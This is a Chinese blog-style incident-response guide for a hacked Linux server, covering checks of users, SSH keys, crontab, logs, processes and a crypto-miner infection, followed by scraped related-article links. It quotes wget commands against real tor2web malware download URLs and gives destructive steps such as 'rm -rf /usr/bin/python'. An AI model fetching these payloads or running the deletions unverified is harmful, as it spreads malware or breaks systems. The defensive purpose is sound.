一.为何会被入侵?

开放了22远程登陆,开放了外网,就有可能被暴力破解登陆,对方一直尝试root密码而登陆进去了。

也有可能开放的服务,例如nginx,mysql或者redis(默认没有密码),因为某些漏洞,从而被黑客进入到系统之中。

被入侵后如果还有潜伏程序,将会有如下特征 1.启动一个程序一直运行,进行破坏或者收集信息 2.在周计划中添加条目,每隔几秒就运行一下 3.在/etc/profile等启动执行文件里添加条目

二.排查

入侵排查

登录系统去看下是否有其它人陌生人也在线上 命令: w

如果有就找到pid号,kill掉,并立即更改服务器密码。 命令:ps -aux | grep root@pts/0

但有的会做免密登陆,同时只用ssh远程链接方式执行命令,也不会留下操作记录。这时候只是更改密码是没用的。下次人家还照样进来。

所以先到.ssh目录下将authorized_keys文件清空或者清除有问题的条目。 命令:> /root/.ssh/authorized_keys

检查是否还存在被登陆可能

查看密码文件和当前用户是否有变化,有没有新增加用户进来。 命令:cat /etc/passwd命令:cat /etc/shadow

计划任务

查看是否有写入周计划,有则删除,并记录下来,找找那些脚本写的是什么,看那些脚本里是不是自我复制,对下载脚本进行分析。 命令:crontab -e命令:cat /etc/crontab

如果这里删除后过一会又有了,利用lsof命令查找一下是哪个进程在写入文件。 lsof /var/spool/cron/root

找不到则先锁定计划任务。去除i权限,清理计划任务,再锁定 cd /var/spool/cron``chattr -i *``> root``chattr +i *

可查看是哪个程序被入侵的,比如redis暴露外网被入侵,则可以在cron.deny禁止redis这个用户使用crontab

被修改的文件

查询最近一天被修改的文件,并且去除proc临时文件 find / -mtime 0 -ls | grep -v proc

有的像crontab即使加了i属性,依然会被解封,然后写入定时任务。这时候可以用audit这个命令来监控/var/spool/cron/root这个文件,看是哪个进程在操作。

筛选日志

查看机器的日志有没有被清空或删除。和别的机器对比一下,看看是不是文件都在。 命令:du -sh /var/log/*

查看有没有异常操作,不过通常会被清空。在查询的时候也不要只看当前的,可能是伪造的history记录,从头一条条看。 命令:history

查看机器最近成功登陆的事件和最后一次不成功的登陆事件,对应的日志是/var/log/lastlogmo命令:lastlog

查看机器创建以来登陆过的用户,对应日志文件/var/log/wtmp命令:last

查看当前时间是否更改,更改时间会导致history等记录的时间不正确,可能昨天的操作,变成了半个月以前的,要更改回来。 命令:date

日志恢复

1.查看到日志不存在,被删除了 ll /var/log/secure

ls: cannot access /var/log/secure: No such file or directory

2.查看是否有进程在使用这个文件,可以看到rsysload进程在使用,pid号是1264,使用者root,打开的文件描述符是4,结尾的状态是文件已经被删除。 lsof | grep /var/log/secure

rsyslogd   1264      root    4w      REG                8,1  3173904     263917 /var/log/secure (deleted)

3.查看对应pid号的文件描述符,可以看到对应的文件内容。 tail /proc/1264/fd/4

Sep 20 16:47:21 hlmcen69n3 sshd[38511]: pam_unix(sshd:session): session closed for user stone
Sep 20 16:47:21 hlmcen69n3 su: pam_unix(su-l:session): session closed for user root
Sep 20 16:49:30 hlmcen69n3 sshd[38605]: pam_unix(sshd:session): session closed for user test01
Sep 20 16:50:04 hlmcen69n3 sshd[38652]: reverse mapping checking getaddrinfo for 190.78.120.106.static.bjtelecom.net [106.120.78.190] failed - POSSIBLE BREAK-IN ATTEMPT!

4.用重定向的方法恢复日志, cat /proc/1264/fd/4 > /var/log/secure

找到异常进程-1

1.如果发现机器产生了异常流量,可以抓取网络包查看流量情况或者查看流量情况。通常作为肉鸡用于去攻击其它机器的时候,网络出口流量会异常的大。 命令:tcpdump | iperf

2.查看当前开启的进程服务,一般脚本病毒会开启udp端口来作为肉鸡攻击其它机器,查找有问题的进程。 命令:netstat -unltp

3.通常异常进程都比较消耗资源,比如挖矿脚本最消耗资源,查看哪个进程消耗资源做多 命令:top

4.如果找到怀疑的进程,找到pid号,可以看到启动命令 ll /proc/1850/ | grep -i exe

lrwxrwxrwx. 1 root root 0 Sep 15 12:31 exe -> /usr/bin/python

5.找到那个文件,并删除掉。 ll /usr/bin/python``rm -rf /usr/bin/python

6.同时搜索类似文件名的文件是否存在,不过可能文件名会改变 find / -name python -type f

找到异常进程-2

1.如果上面方法没找到,则用ps命令来获取信息。 和其它机器对比,找出有问题的进程,基本上系统启动后就那几个进程,再加上服务器运行的服务,进程数量相对比较固定。 命令:ps -aux

2.找到有问题的pid号后,查看相关进程,一起kill掉杀死。 pstree -p

3.可以看到进程的树状图,还有分支出来的其它子进程,一起kill掉,再删除程序。

找到异常进程-3

1.查看日志或者crontab中,如果找到有相关的执行脚本的操作,可以去用搜找那些文件。

crontab -l看到的,如下是真实被入侵挖矿后看到的 ![](http://52wiki.oss-cn-beijing.aliyuncs.com/doc/759791cd288a9bfcda786b1571f138b127a733f5.png)

2.下载第一个并不执行 wget -qO- -U- https://ddgsdk6oou6znsdn.tor2web.io/i.sh

3.显示如下,先判断/tmp/.X11-lock所记录的pid是否存在,不存在将下载一个可执行文件,加权限后并启动,再删除自己。

4.只下载脚本并不执行,看来人家的脚本还分系统,针对挖矿 wget -qU- http://malwregafeg2fdjn.tor2web.me/.$(uname -m)

5.看到目录下有个.X86_64的几百KB的可执行文件,不知道拿啥语言写的,手动运行它后,会先删除自己,再运行一会才开始挖矿。

可以查看这个pid,来看看它在做什么。 strace -p pid号

6.我用如下命令获取一个文件,在这个挖矿脚本运行2分钟后,将pid杀死,查看文件内容。 strace -p pid号 &> du.txt

可以从中看到一些信息,如果有open,conle之类的字样,可以看看他在打开哪些文件,找到路径后删除掉。

找到异常进程-4

1.查询所有命令信息,看是否被篡改,可以看到最近更改和最近改动

2.那就根据关键字改,进行筛查,多查找几个日期和目录

3.还有可能是alias别名,查看是否有变化

4.如果对方可能改了文件,但修改了日期,那就用md5效验,和一台正常机器做对比。

三.总结

1.做好监控、对进程、登陆用户、在线用户等等监控。

2.除了提供服务的nginx之类的机器,其他mysql等等均不要开放外网,nginx那台也不对外开放22端口,只开放80端口。

3.设置跳板机,只通过跳板机进行登录,并限制访问的白名单地址,有需求可以设置短信和秘钥双因子验证。开源的有jumpserver和webterminal这些堡垒机软件。

4.nginx或者其他服务均使用单独的用户启动,并nologin消除登陆权限。

5.更改暴露在外面的服务器22端口改成别的,并禁止root直接登陆。

6.做好服务器定期镜像,因为被入侵后恢复很痛苦,最好的方法是直接还原镜像。

Linux服务器被黑 排查思路的更多相关文章

  1. Linux 服务器性能问题排查思路

    一个基于 Linux 操作系统的服务器运行的同时,也会表征出各种各样参数信息.通常来说运维人员.系统管理员会对这些数据会极为敏感,但是这些参数对于开发者来说也十分重要,尤其当你的程序非正常工作的时候, ...

  2. Linux入侵类问题排查思路

    深入分析,查找入侵原因 一.检查隐藏帐户及弱口令 检查服务器系统及应用帐户是否存在 弱口令: 检查说明:检查管理员帐户.数据库帐户.MySQL 帐户.tomcat 帐户.网站后台管理员帐户等密码设置是 ...

  3. linux服务器负载问题排查

    目录 一.CPU和内存问题 top命令 vmstat命令 free命令 二.磁盘问题 iostat命令 iotop命令 du和df命令 三.网络问题 nload命令 nethogs tcpdump 最 ...

  4. Linux应急响应入侵排查思路

    0x00 前言 ​ 当企业发生黑客入侵.系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解 ...

  5. Linux服务器以及系统性能排查常用命令

    一.在Linux系统中排查CPU故障的方法和技巧 1.top命令 Linux内部命令,可以查看实时的CPU的使用情况,也可以查看CPU最近一段时间CPU的使用情况 Linux下常用的性能分析工具,能够 ...

  6. Linux运维故障排查思路

    linux系统故障 网络问题 linux系统无响应 linux系统无法启动 linux系统故障处理思路 1.重视报错信息,一般情况下此提示基本定位了问题的所在 2.查阅日志文件,系统日志和应用日志 3 ...

  7. Linux进程僵死原因排查思路

    常情况下脚本执行时间几秒完成,如果超过很长时间执行完成,可能是进程等待某些资源引起阻塞(假死状态). 场景:xx.perl读取文件并发送邮件 现象:执行脚本的进程僵死(卡住) 排查:ps -ef |g ...

  8. 垃圾脚本黑我linux服务器

    今天接到短信 阿里云Linux服务器被黑 脚本如下: echo "sh /etc/chongfu.sh &" >> /etc/rc.local : 开机自启动 ...

  9. Linux服务器丢包故障的解决思路及引申的TCP/IP协议栈理论

    我们使用Linux作为服务器操作系统时,为了达到高并发处理能力,充分利用机器性能,经常会进行一些内核参数的调整优化,但不合理的调整常常也会引起意想不到的其他问题,本文就一次Linux服务器丢包故障的处 ...

随机推荐

  1. dart系列之:dart类的扩展

    目录 简介 使用extends 抽象类和接口 mixins 总结 简介 虽然dart中的类只能有一个父类,也就是单继承的,但是dart提供了mixin语法来绕过这样限制. 今天,和大家一起来探讨一下d ...

  2. [loj2339]通道

    类似于[loj2553] 对第一棵树边分治,对第二棵树建立虚树,并根据直径合并的性质来处理第三棵树(另外在第三棵树中计算距离需要使用dfs序+ST表做到$o(1)$优化) 总复杂度为$o(n\log^ ...

  3. [bzoj5462]新家

    先离线,将询问按照时间排序,维护商店出现和消失 对于每一个询问,先二分枚举答案,假设是ans, 即要求对于区间[l-ans,l+ans],商店的种类数是k(l是询问的位置) (当然需要先将所有位置离散 ...

  4. 如何删除一个win10的服务

    使用场景: 之前电脑玩腾讯qq微端游戏,后来卸载残留服务一直在后台占用系统资源.那么如何关闭这个服务呢. 1.首先 管理员运行--cmd.exe 2.打开任务管理器,找到服务名称,如果服务开启可以关闭 ...

  5. tomcat更改端口号and设置cmd别名

    1.修改端口号 打开tomcat的conf\server.xml 这个是项目访问的端口号了 这个也要注意更改一下,避免冲突 2.接下来要设置cmd别名 用文本编辑器打开bin\catalina.bat ...

  6. BehaviorTree.CPP行为树BT的选择节点(四)

    Fallback 该节点家族在其他框架中被称为"选择器Selector"或"优先级Priority". 他们的目的是尝试不同的策略,直到找到可行的策略. 它们具 ...

  7. 解决ip和域名都能够ping通但是启动nginx无法访问网页的问题

    解决思路 最近双11逛西部数码的官网看看有没有什么服务器优惠的时候,发现了可以申请一个一块钱用一整年的SSL证书,立马心动下单了,想想俺也可以用https装装X了哈哈 不过在部署完证书,并调整ngin ...

  8. FMT 和 子集卷积

    FMT 和 子集卷积 FMT 给定数列 $ a_{0\dots 2^{k}-1} $ 求 $ b $ 满足 $ b_{s} = \sum_{i\in s} a_i $ 实现方法很简单, for( i ...

  9. 决策单调性&wqs二分

    其实是一个还算 trivial 的知识点吧--早在 2019 年我就接触过了,然鹅当时由于没认真学并没有把自己学懂,故今复学之( 1. 决策单调性 引入:在求解 DP 问题的过程中我们常常遇到这样的问 ...

  10. 一类利用队列优化的DP

    I.导入: 这是一个\(O(n^2)\)的状态和转移方程: \[f(i,j)=\left\{ \begin{aligned} f(i-1,j-1)+k \ (1\leq j)\\ \max_{k \i ...